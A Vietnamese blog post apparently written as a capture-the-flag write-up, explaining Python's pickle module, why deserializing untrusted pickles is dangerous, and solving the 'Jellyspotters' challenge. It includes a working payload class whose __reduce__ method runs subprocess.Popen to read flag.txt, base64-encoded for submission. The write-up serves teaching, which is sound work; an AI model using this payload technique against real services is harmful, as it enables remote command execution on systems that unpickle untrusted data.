Python Pickle-Deserialization vulnerability

I. Pickle là gì?

Là dưa chuột :v Đây là một phần của thư viện Python theo mặc định, là một mô-đun quan trọng bất cứ khi nào bạn cần sự bền bỉ giữa các phiên người dùng. Là một mô-đun, pickle cung cấp khả năng lưu các đối tượng Python giữa các quy trình.

Cho dù bạn đang lập trình cho cơ sở dữ liệu , trò chơi, diễn đàn hoặc một số ứng dụng khác phải lưu thông tin giữa các phiên, pickle rất hữu ích để lưu số nhận dạng và cài đặt. Mô-đun pickle có thể lưu trữ những thứ như kiểu dữ liệu như boolean, chuỗi và mảng byte, danh sách, từ điển, hàm, v.v.

II. Khai thác điểm yếu

  • Chắc hẳn trong thực tế bạn sẽ gặp những task mà cần phải lưu trữ hoặc truyền tải các đối tượng (Object), dữ liệu (Data). Bài toán đặt ra ở đây là làm thế nào để thực hiện điều đó mà vẫn giữ nguyên được trạng thái của nó. Serialization/Deserialization được đưa ra để giải quyết vấn đề này. Serialization là việc ghi các trạng thái của 1 đối tượng thành dạng dữ liệu có thể truyền tải hoặc lưu trữ được. Còn Deserialization là việc tái thiết lại các đối tượng từ các dữ liệu này.
  • Pickle được sinh ra để giúp chúng ta làm việc này. Tuy nhiên bạn cần rất lưu ý khi sử dụng nó. Ngay trên document của thư viện này cũng có cảnh báo.

III. Ứng dụng giải CTF

Đây là bài Jellyspotters, được list trong thư mục là pwn, nhưng theo mình đây cũng có thể bài web:v

Telnet tới umbccd.io 4200 nhận được giao diện như sau:

Sau vài vòng khảo sát nhận import xổ ra lỗi liên quan tới pickle, thực hiện build payload:

import subprocess
import base64
import pickle

class Exploit(object):
    def __reduce__(self):
        return (subprocess.Popen, (('cat', 'flag.txt'),))

print(base64.b64encode(pickle.dumps(Exploit())))

Chạy đoạn code gen serialization data để exploit, trong trường hợp này nó chạy thư viện Popen lấy thông tin từ lệnh cat flag mà ra:

Import vào, dễ như bánh rồi.

Published by Nhat Truong

Hi

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: